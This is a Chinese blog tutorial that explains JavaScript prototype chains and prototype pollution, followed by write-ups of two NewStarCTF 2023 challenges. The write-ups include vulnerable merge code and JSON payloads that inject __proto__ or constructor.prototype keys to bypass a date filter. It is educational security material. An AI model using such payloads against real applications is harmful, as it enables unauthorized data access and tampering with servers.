ns碰到的两道题目 来学习一下

js原型污染 · zIxyd’s Blog

什么是原型污染? |网络安全学院


JavaScript 原型链污染

什么是原型污染

首先来简单说一下原型是什么

在 JavaScript 中,原型是一种实现继承的机制

每个对象都有一个 prototype 属性(除了null)。它指向另一个对象,这个被指向的对象就是原型对象。当访问一个对象的属性时,如果该对象本身没有这个属性,JavaScript 引擎就会沿着原型链向上查找,直到找到该属性或者到达原型链的顶端(null)。

look this

1
2
3
4
5
6
7
8
function Person(name) {
this.name = name;
}
Person.prototype.sayHello = function() {
console.log(`Hello, my name is ${this.name}`);
};
const alice = new Person('Alice');
alice.sayHello();

Person.prototype 就是一个原型对象,sayHello 方法定义在原型对象上。alice 实例本身没有 sayHello 方法,但通过原型链,它可以访问到 Person.prototype 上的 sayHello 方法。

原型链污染

就是指攻击者利用这个原型机制 向全局对象的原型添加任意的属性

因为js中对象会通过这个原型链继承对应的属性 所以当全局原型被污染时 后面创建的所有对象都会继承这些恶意添加的属性

通俗点来说就是攻击者偷摸改了大家通用的那个模板 然后所有通过这个模板创建的新对象都带上了攻击者加进去的东西

原型链污染又分为客户端原型链污染服务端原型链污染

客户端环境通常指的是浏览器环境

服务端环境一般指 Node.js 环境,Node.js 用于构建服务器端应用程序,处理网络请求、数据库操作等。当应用程序处理用户输入的 JSON 数据、表单数据等时,如果没有对输入进行严格过滤,就容易出现原型链污染

在ctf中基本都是服务端污染导致绕过验证,得到管理员权限或者RCE等等

不同类型对象原型示例

普通对象

1
2
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype

使用 let myObject = {}; 创建一个空对象。通过 Object.getPrototypeOf(myObject); 可以获取它的原型,结果是 Object.prototype 。这意味着,myObject 这个空对象继承自 Object.prototype ,它可以访问 Object.prototype 上的属性和方法

字符串对象

1
2
let myString = "";
Object.getPrototypeOf(myString); // String.prototype

当使用 let myString = ""; 创建一个空字符串时,通过 Object.getPrototypeOf(myString); 获取到它的原型是 String.prototypeString.prototype 上定义了许多实用的方法,像 toLowerCase()toUpperCase()indexOf()

数组对象

1
2
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype

let myArray = []; 创建一个空数组,Object.getPrototypeOf(myArray); 返回 Array.prototypeArray.prototype 提供了诸如 push()pop()map()filter() 等方法,方便对数组进行操作

数值对象

1
2
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype

对于 let myNumber = 1; 创建的数值,Object.getPrototypeOf(myNumber); 得到 Number.prototypeNumber.prototype 上有 toFixed()toString() 等方法

对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象

来看一个栗子

比如,有一个原型对象 animalPrototype

1
2
3
4
5
6
7
let animalPrototype = {
speak: function() {
console.log("I am an animal");
}
};
let dog = Object.create(animalPrototype);
dog.speak(); // I am an animal

这里 dog 对象通过 Object.create(animalPrototype) 创建,它继承了 animalPrototype 上的 speak 方法。但如果在 dog 对象上定义了同名方法,就会覆盖从原型继承来的方法:

1
2
3
4
5
6
7
8
9
10
let animalPrototype = {
speak: function() {
console.log("I am an animal");
}
};
let dog = Object.create(animalPrototype);
dog.speak = function() {
console.log("I am a dog");
};
dog.speak(); // I am a dog

(还是比较容易理解的)

原型链

image-20251012094657555

原型链的链式继承逻辑

JavaScript 里,每个对象都有一个 “原型”(可以理解为 “父对象”),而这个原型对象本身也是一个对象,它也有自己的原型 —— 以此类推,就形成了一条 “原型链”

比如图中的 username(字符串对象),它的直接原型是 String.prototype;

而 String.prototype 的原型是 Object.prototype;

Object.prototype是原型链的 “顶端”,它的原型是 null(表示没有更上层的原型了)。

属性查找规则

当你访问一个对象的属性 / 方法时,JavaScript 会先在对象自身找;如果找不到,就会沿着原型链往上找,直到找到属性 / 方法,或者到达原型链顶端(null)。

所有原型链最终都会指向 Object.prototype,而 Object.prototype 的原型是 null—— 这是原型链的 “终点”,表示没有更上层的原型了。

总的来说

原型链是 JavaScript 实现 “继承” 的核心机制它让对象能层层继承上层原型的能力,同时也解释了 “为什么不同类型的对象能调用各自的专属方法”

使用 __proto__ 访问对象的原型

每个 JavaScript 对象都有一个特殊的属性__proto__ 它可以用来访问对象的原型

和访问对象的普通属性一样,可以使用点符号或者方括号来访问 __proto__

点符号:username.__proto__

方括号:username['__proto__']

比如

username.__proto__:得到的是 String.prototype,因为 username 是字符串对象,它的直接原型是 String.prototype

1
2
3
username.__proto__                        // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

原型的修改

JavaScript 里的内置原型(像 String.prototypeArray.prototype )本质上也就是普通对象。所以我们可以像修改普通对象一样,去修改这些内置原型的属性或方法

那么这就意味着你可以自定义新方法或者重写已有的方法

现代 JavaScript 有 trim() 方法(用于删除字符串首尾空格),但在早期版本中没有这个方法。那时候,开发者会通过修改 String.prototype 来 “手动添加” 类似功能:

1
2
3
4
5
6
7
8
9
// 给 String.prototype 新增一个 remove方法
String.prototype.remove = function() {
//删除首尾空格
return this.replace(/^\s+|\s+$/g, '');
};

// 所有字符串都能使用这个新方法
let searchTerm = " example ";
console.log(searchTerm.remove()); // 输出 "example"

因为 JavaScript 是原型继承,所以只要你修改了某个 “原型”,所有继承自该原型的对象都会自动获得修改后的能力。

原型污染漏洞是如何产生的

当 JavaScript 函数递归地将用户可控制的对象合并到现有对象时,若没有先对属性键(尤其是特殊键 __proto__)做清理,就会引发原型污染。

__proto__ 是 JavaScript 中用于访问对象原型的特殊属性。

若合并逻辑未过滤 __proto__,攻击者可通过它将属性注入到原型对象(而非目标对象本身)

污染任何原型对象都有可能,但这最常发生在内置的全局 Object.prototype 上。

prototype 与 __proto__

prototype

在 JavaScript 里,函数都有一个 prototype 属性,它是一个对象。当使用构造函数创建实例时,这些实例会共享构造函数 prototype 对象上的属性和方法, 是实现原型继承的基础。

1
2
3
4
5
6
7
8
function Person(name) {
this.name = name;
}
Person.prototype.sayHello = function() {
console.log(`Hello, my name is ${this.name}`);
};
const alice = new Person('Alice');
alice.sayHello();

在这个栗子中,Person 是一个构造函数,Person.prototype 是一个对象,在 Person.prototype 上定义了 sayHello 方法。通过 new Person('Alice') 创建的实例 alice ,可以访问 Person.prototype 上的 sayHello 方法,这就是利用 prototype 实现继承的过程。

__proto__

每个对象(除了 null )都有一个 __proto__ 属性,它指向该对象的原型对象, 可以用来访问对象的原型,是沿着原型链查找属性和方法的关键。虽然 __proto__ 是大多数浏览器事实上使用的标准,但它并不是正式标准化的属性(ES6 引入了 Object.getPrototypeOf() 方法来更规范地获取对象的原型)。

1
2
3
4
5
6
7
let myObject = {};
console.log(myObject.__proto__ === Object.prototype);
// true,说明myObject的原型是Object.prototype

let myArray = [];
console.log(myArray.__proto__ === Array.prototype);
// true,说明myArray的原型是Array.prototype

通过 __proto__ 可以明确对象和其原型之间的关系,并且可以通过 __proto__ 层层向上访问原型链上的属性和方法

1
2
3
4
5
6
7
let str = "hello";
console.log(str.__proto__ === String.prototype);
// true
console.log(str.__proto__.__proto__ === Object.prototype);
// true
console.log(str.__proto__.__proto__.__proto__ === null);
// true

通过 prototype 为构造函数设置的属性和方法,实例可以通过 __proto__ 来访问,从而实现原型继承

联系

当使用构造函数创建对象时,实例的 __proto__ 会指向构造函数的 prototype 。:

1
2
3
4
function Animal() {}
const dog = new Animal();
console.log(dog.__proto__ === Animal.prototype);
// true

这表明,通过 prototype 为构造函数设置的属性和方法,实例可以通过 __proto__ 来访问,从而实现了原型继承。

区别

所属对象不同prototype 是函数特有的属性,只有函数才有 prototype;而 __proto__ 是对象(除 null 外)都有的属性。

用途不同prototype 主要用于在构造函数中为实例预先设置共享的属性和方法,实现代码复用;__proto__ 主要用于在运行时动态地访问对象的原型,沿着原型链查找属性和方法。

标准化程度不同prototype 是 JavaScript 中被正式定义和标准化的属性;而 __proto__ 虽然被广泛支持,但不是严格标准化的属性,在规范中更推荐使用 Object.getPrototypeOf() 等方法来获取对象的原型。

通过 JSON 输入造成原型污染

JSON.parse()

JSON.parse() 在解析 JSON 字符串时,会把 __proto__ 当作普通的字符串键,而不是 “原型访问器”

再来举个例子

1
2
3
4
5
6
7
8
9
// 情况1:对象字面量中的 __proto__(特殊行为)
const objectLiteral = { __proto__: { evilProperty: 'payload' } };
console.log(objectLiteral.hasOwnProperty('__proto__')); // false
// 原因:对象字面量中的 __proto__ 是“原型访问器”,不会成为对象自身的属性

// 情况2:JSON.parse() 解析的 __proto__(普通键)
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
console.log(objectFromJson.hasOwnProperty('__proto__')); // true
// 原因:JSON.parse() 把 __proto__ 当作普通字符串键,解析后成为对象自身的属性

这会导致原型污染

如果后续代码中,对 objectFromJson 进行对象合并 / 赋值,且没有过滤 __proto__ 这个键,就可能污染原型:假设存在一个 “不安全的合并函数”:

1
2
3
4
5
6
7
8
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
}

const target = {};
merge(target, objectFromJson);

此时,merge 函数会执行 target["__proto__"] = { evilProperty: "payload" }。由于 target["__proto__"] 就是 target 的原型(Object.prototype),最终会导致:

Object.prototype.evilProperty = "payload"

这意味着所有对象(因为所有对象都继承自 Object.prototype)都会 “继承” evilProperty 属性,从而被污染。

1
2
3
4
5
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

console.log(objectLiteral.hasOwnProperty('__proto__')); // false
console.log(objectFromJson.hasOwnProperty('__proto__')); // true

在Node.js中,hasOwnProperty函数是JavaScript中的一个内置函数,用于检查对象自身是否包含指定的属性(即不包括从原型链继承的属性)。这个函数返回一个布尔值,如果对象包含指定的属性,则返回true,否则返回false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function merge(target, source) { 
for (let key in source) {
if (key in source && key in target) {
// console.log(key)
// console.log(target[key])
// console.log(source[key])
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}}

//第一步
let object1 = {}// 空对象,原型默认是 Object.prototype
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')// 解析JSON生成的对象

//第二步
merge(object1, object2)
console.log(object1.a, object1.b) //1 2
object3 = {}
console.log(object3.b) //2

let object4 = ""
console.log(object4.b) //2

// console.log(object2.hasOwnProperty('a'));
// console.log(object2.hasOwnProperty('b'));
// console.log(object2.hasOwnProperty('__proto__'));
// console.log(object1.__proto__);
// console.log(object2.__proto__);
// console.log(object3.__proto__);

第一步

object2 经过 JSON.parse() 解析后,结构为:

1
2
3
4
{
a: 1, // 自身属性
__proto__: { b: 2 } // 自身属性(注意:这里的__proto__是普通键,不是原型访问器)
}
1
console.log(object2.hasOwnProperty('__proto__')); // true(证明是自身属性)

第二步

执行 merge (object1, object2) 函数

merge 函数的作用是将 source(object2)的属性合并到 target(object1)中,核心逻辑是递归处理嵌套属性

第一次循环:处理 key = “a”

source是 object2,key 是 “a”。

判断 key in source(object2 有 “a” → 真)和 key in target(object1 是空对象,没有 “a” → 假)。

进入 else 分支:target[key] = source[key]object1.a = 1

此时 object1 变为 { a: 1 }

*第二次循环:处理 key = “*proto**

key 是 “proto“,source[key]{ b: 2 }(object2 自身的 proto 属性值)。

判断 key in source(object2 有 “proto“ 自身属性 → 真)和 key in target(object1 作为对象,默认有 __proto__ 原型访问器 → 真)。

进入递归:merge(target[key], source[key]) → 即 merge(object1.__proto__, { b: 2 })

第三步

*递归执行 merge (object1.*proto*, { b: 2 })*

此时:

target是 object1.__proto__→ 即 Object.prototype(所有对象的顶层原型)。

source{ b: 2 }。

循环处理 source 的属性 key = "b"

判断 key in source(有 “b” → 真)和 key in targetObject.prototype 原本没有 “b” → 假)。

进入 else 分支:target[key] = source[key]Object.prototype.b = 2

关键结论Object.prototype 被污染,新增了 b: 2 属性。

JSON.parse () 的作用:将 __proto__ 解析为对象自身属性,而非原型访问器,提供了污染入口。

merge 函数的漏洞:未过滤 __proto__ 特殊键,递归合并时修改了 Object.prototype

污染范围Object.prototype 被污染后,所有对象(包括新创建的对象、字符串等)都会继承恶意属性 b: 2

这就是典型的 “通过 JSON 输入 + 不安全合并函数” 实现原型污染的完整流程

实验室:通过服务器端原型污染提升权限 |网络安全学院

题目

[NewStarCTF 2023 公开赛道]OtenkiGirl

先下载附件

image-20251012113908941

看到app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined



const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
//这里引入了两个配置文件


const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));


//这里引入了route文件夹下的info 和route
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });



app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;

把这个拿出来看一下

1
2
3
4
5
//这里引入了route文件夹下的info 和route
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

这段代码的目的是批量加载并注册路由,让 Koa 应用能处理不同 URL 路径的请求。

(不懂没事 继续往下)

[ "info", "submit" ]

这是一个字符串数组,包含需要加载的路由模块名称(infosubmit)。

.forEach(p => { ... })

遍历数组中的每个元素(p 依次为 "info""submit"),对每个元素执行回调逻辑

p = require("./routes/" + p)

“./routes/“ + p会拼接出路由文件的路径(如 “./routes/info”、”./routes/submit”`)。

require会加载对应路径的模块(假设是 info.js和 submit.js),并将模块赋值给 p

app.use(p.routes()).use(p.allowedMethods())

p.routes():获取路由模块中定义的路由规则(如哪些 URL 对应哪些处理函数)。

p.allowedMethods():配置允许的 HTTP 请求方法(如限制接口只接受 GET/POST,若请求方法不允许则返回错误)。

app.use(...):将路由规则和请求方法限制注册到 Koa 应用中,使应用能响应对应请求

因此我们追踪到routes文件下的info.js和submit.js

info.js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,

将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。

我们继续找config文件和config.default文件,发现CONFIG 变量中没有min_public_time 属性,所以会使用DEFAULT_CONFIG 变量中的 min_public_time 属性。

config.default文件

1
2
3
4
5
6
7
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

我们这里可以原型链污染污染min_public_time为更早的日期,尝试绕过这个日期限制。

submit.js代码(有点多 这里就放出来一部分重要的)

这里可以发现注入点

1
2
3
4
5
6
7
8
9
10
11
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

merge 函数的目的是递归合并两个对象(将 src 的属性合并到 dst 中)

这个 merge 函数没有过滤特殊键(如 __proto__

我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。

这意味着如果src对象的原型链上存在名为’min_public_time’的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']的值,我们可以影响原型链上的属性。

思路有了我们来解题

改一下时间戳

image-20251012120637537

image-20251012120836860

1
2
3
4
5
6
7
8
9
10
11
12
13
{

"contact": "test",

"reason": "test",

"__proto__": {

"min_public_time": "1001-01-01"

}

}

image-20251012121330611

我们直接hackbar上在info路由上传ts=0,获取全部信息,最终发现其中一个含flag的信息:

image-20251012121337437

为什么要请求info

/info 这类路径通常是服务端设计的信息查询接口,用于返回特定的数据集或详情

[NewStarCTF 2023 公开赛道]OtenkiBoy

是week3中Otenkgirl的升级版 但难度差的不是一星半点哈哈

依旧是来看两个主要的js

info.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
async function getInfo(timestamp) {
// 1. 处理传入的 timestamp:若不是数字,默认用当前时间
timestamp = typeof timestamp === "number" ? timestamp : Date.now();

let minTimestamp; // 查询的“最小时间戳”:早于这个时间的数据会被过滤
try {
// 2. 优先用 CONFIG 配置的 min_public_time 生成 minTimestamp
minTimestamp = createDate(CONFIG.min_public_time).getTime();
// 校验:若 minTimestamp 不是安全整数(无效时间),抛出错误
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
// 3. 配置出错时,用默认配置 fallback
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, {
UTC: false,
baseDate: LauchTime
}).getTime();
}

// 4. 确保查询的 timestamp 不早于 minTimestamp(过滤早期数据)
timestamp = Math.max(timestamp, minTimestamp);

// 5. 从数据库查询:timestamp >= 上述值的愿望数据
const data = await sql.all(
`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`,
[timestamp]
).catch(e => { throw e });
return data;
}

截出来了主要的这个getinfo函数

负责计算查询的最小时间戳(mintimestamp)

具体步骤拆解在代码块里

后面的post是一个接口定义

通过 router.post 定义接口,处理客户端的 POST 请求

这个时间戳和createdate函数有关 所以我们再去看一下这个函数(utils.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const createDate = (str, opts) => {
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
// 1. 无 format 时用默认格式;有 format 但非数组时转为数组
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format];

// 2. 过滤无效 format:仅保留符合规则的字符串格式
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
// 规则1:format 必须包含至少一个时间标识符(如 yy、MM、dd 等)
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}". At least one format specifier is required.`);
return false;
}
// 规则2:标识符之间必须有分隔符(如不能是 "yyyyMMdd",需是 "yyyy-MM-dd")
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}". Delimeters are required between format specifiers.`);
return false;
}
// 规则3:不能同时包含 "yyyy" 和 "yy"(避免年份解析冲突)
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}". "yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
});
opts.baseDate = new Date(opts.baseDate || Date.now());

漏洞利用点:若通过原型污染注入opts.format(如"yy19-MM-ddTHH:mm:ss.fffZ"),会篡改时间解析规则 —— 例如将"2019-07-08..."中的"20"当作yy(按规则,yy小于 100 时解析为1900+yy,即1920,最终得到更早的时间)。

可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。

详细来看

minTimestamp = createDate(CONFIG.min_public_time).getTime();

此时 createDate 会用默认配置(CopiedDefaultOptions)解析时间,且默认配置通常是合法的(比如 format 是标准的 "yyyy-MM-ddTHH:mm:ss.fffZ")。

只要 CONFIG.min_public_time 格式正常(比如 "2023-10-01T00:00:00.000Z"),createDate 就能生成有效的 Date 对象,getTime() 会返回正常时间戳 —— 后续逻辑按正常流程走,没有漏洞利用的机会

要触发 catch 分支,必须让 createDate 的执行结果满足以下任一条件

  1. 生成的 Date 对象是无效的(new Date(...) 结果为 Invalid Date),调用 getTime() 会返回 NaN
  2. getTime() 返回的时间戳不是 “安全整数”(!Number.isSafeInteger(minTimestamp)),直接抛出错误。

最容易通过原型污染实现的是第一种让 createDate 生成 Invalid Date

如何通过原型污染让 createDate 出错?

关键是污染 createDate 中用于解析时间的核心配置 ——baseDate

createDate 中有一行处理 baseDate 的代码

1
2
// createDate 中:baseDate 未定义时用当前时间,否则转为 Date 对象 
opts.baseDate = new Date(opts.baseDate || Date.now());

当我们通过 /submit 接口的 mergeJSON 函数,污染全局原型 Object.prototype

1
2
3
4
5
6
// 恶意 JSON 中的污染代码
"constructor": {
"prototype": {
"baseDate": "invalid-date" // 注入无效的时间字符串
}
}

这样一来,所有对象(包括 createDate 中的 opts)都会继承这个 baseDate: "invalid-date"

payload

1
2
3
4
5
6
7
8
9
10
11
{  
"contact":"a", "reason":"a",
"constructor":{
"prototype":{
"format": "yy19-MM-ddTHH:mm:ss.fffZ",
"baseDate":"aaa",
"fff": "bbb"
}
}
}

污染database和fff来绕过format模式——》

污染format模板使他可以以yy模式匹配min_public_time: “2019-07-08T16:00:00.000Z”——》

将createData返回的时间成功改为1919-07-08T16:00:00.000Z

image-20251012181711245

不行了其实我整个思路比较乱

NewStar2023 web-week4-wp - Eddie_Murphy - 博客园

贴一个别人的wp

磕磕绊绊的也算是复现完了